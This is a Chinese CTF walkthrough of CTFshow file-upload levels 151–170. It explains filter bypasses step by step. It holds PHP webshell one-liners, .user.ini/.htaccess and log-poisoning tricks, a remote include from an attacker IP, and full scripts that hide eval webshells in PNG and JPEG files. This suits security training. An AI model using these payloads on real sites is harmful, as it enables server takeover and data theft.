CTFSHOW文件上传151-170

文件上传151关

打开靶场映入眼帘的就是前台校验不可靠
在这里插入图片描述
我们右键查看网页源代码,可以看到以下代码,可以看到是限制了只能上传.png后缀的图片文件
在这里插入图片描述
我们尝试上传一个gif的图片,可以看到不支持上传
在这里插入图片描述

既然是前端限制,那我们按F12将前端代码中的png修改为gif,可以看到上传成功
在这里插入图片描述
那我们直接将其允许的后缀修改为php,上传一句话木马,使用蚁剑连接,找到flag
在这里插入图片描述

文件上传152关

这一关是后端校验,当我们和上一关一样的做法后,他会提示文件不合规
在这里插入图片描述
我们在将前端验证改为php之后抓包,将content-type的类型改为image/png,就可以直接上传成功了
在这里插入图片描述
在这里插入图片描述

文件上传153关

我们将上一关的思路应用到这一关来,发现最后显示的还是上传文件不合规
在这里插入图片描述
我们尝试大小写之后发现是可以上传成功的,但是我们访问却直接下载下来了
在这里插入图片描述
因为这个网站的中间件是nginx,所以我们可以上传一个与.htaccess(apache才可以)文件有异曲同工之妙的.user.ini文件,在.user.ini文件写入auto_prepend_file=1.png
在这里插入图片描述
然后我们再上传1.png,在1.png里面写入一句话木马,然后访问upload/index.php,在url栏输入?x=system(’tac../flag.php');,即可读到flag
在这里插入图片描述

文件上传154关

我们用上一关的思路之后发现,.user.ini文件是可以上传的,但是1.png写入一句话木马之后是上传不了的
在这里插入图片描述
经过测试之后发现,他是会检测内容的,文件内容不能有<?php,以下写法是可以规避这个拦截的

<? echo '123';?>    //前提是开启配置参数short_open_tags=on
<?=(表达式)?>        //不需要开启参数设置
<% echo '123';%>    //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; </script>//不需要修改参数开关

上传完毕之后,访问和上一关一样的路径即可看到flag
在这里插入图片描述

文件上传155关

按照上一关的思路来

文件上传156关

按照上一关的思路来,发现上传的时候过滤了[],我们将它替换为{}
在这里插入图片描述

文件上传157关

按照上一关的思路来,发现过滤了{},我们将1.png内容替换为

<?=system('tac ../flag.*')?>

然后访问/upload即可

文件上传158关

和上一关做法一样

文件上传159关

按照上一关的思路来,发现它过滤了(),那么我们将1.png的内容改为,这里使用反引号,作用和system是相同的

<?=`tac ../fl*`?>

文件上传160关

根据上一关的思路来,发现反引号也被过滤了,Nginx一般会记录日志,日志会记录访问者的UA头,所以我们可以把后门代码写到UA头里面,然后利用.user.ini来包含日志文件,Nginx默认日志位置/var/log/nginx

<?=include"/var/lo"."g/nginx/access.lo"."g"?>//1.png内容

将.user.ini和1.png上传完成之后,访问/upload/,然后抓包,将UA头改为一句话木马,然后重新访问/upload?x=system('tac ../flag.php');,即可看到flag

文件上传161关

按照上一关的思路来,发现.user.ini文件也上传不了了,这是因为这一关他会检验文件头,我们需要在前面加一个GIF89a这样一个文件头,不同后缀图片文件的文件头是不一样的

GIF89a auto_prepend_file=1.png //.user.ini文件内容
GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>//1.png文件内容

在这里插入图片描述
上传完成之后,再重新抓包将UA头改为<?php system('tac ../flag.php');?>,重新访问/upload即可

文件上传162关

根据上一关的思路来,发现这一关不仅是检测了文件头,也过滤了()[]{}.这些,所以我们可以将.user.ini的内容写为

GIF89a
auto_prepend_file=png

我们可以远程包含文件,然后这个文件里面有一句话木马,这边需要用到IP转换地址,将IP转换为纯数字,网址:https://www.bejson.com/convert/ip2int/ ,png内容为

GIF89a
<?=include'http://IP转换/'>

文件上传163关

根据上一关的思路来,我们访问上传的png的时候发现他被删除了,这个时候有两个办法,一个是利用条件竞争,一个是改变.user.ini的内容,这里推荐第二种
直接将.user.ini的内容变更为

GIF89a
auto_prepend_file=http://IP

访问upload执行命令即可

文件上传164关

这一关会把上传上去的图片进行二次渲染,会修改原本图片的一些东西,所以我们可以利用工具或者手工将后门代码插入到图片里面
在这里插入图片描述
当然,一般这样是上传不上去的,所以这个时候可以利用工具来将木马插入到图片中,工具代码如下,将代码放置到PHP环境中执行即可

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

上传成功之后访问图片地址,在后面加入&0=system,1=tac flag.php,这个1=需要用POST方式提交

文件上传165关

这一关也是二次渲染,和上一关差不多,不过图片后缀变为了jpg,以下是jpg渲染代码,用法是将以下代码和需要渲染的图片放到PHP目录下,cmd调用即可

<?php
    $miniPayload = "<?=eval(\$_POST[1]);?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
    set_error_handler("custom_error_handler");
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

在这里插入图片描述

文件上传166关

这一关变为了zip,直接上传一个test.zip,内容写为木马就行了

文件上传167关

这一关主要考核. htaccess文件的作用,我们直接上传一个1.jpg,这里面需要有一句话木马,然后上传一个htaccess文件,

AddType application/x-httpd-php .jpg //htaccess文件内容

上传完毕之后访问/upload/1.jpg即可

文件上传168关

这一关是考验免杀的,可以直接上传PHP文件,

<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>

文件上传169关

这一关上传了.user.ini之后,访问upload目录显示403,所以我们需要上传一个index.php
构造.user.ini利用条件:上传index.php 内容随意
上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>
当然也可以和上一关一样,搞免杀

文件上传170关

和上一关一样

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值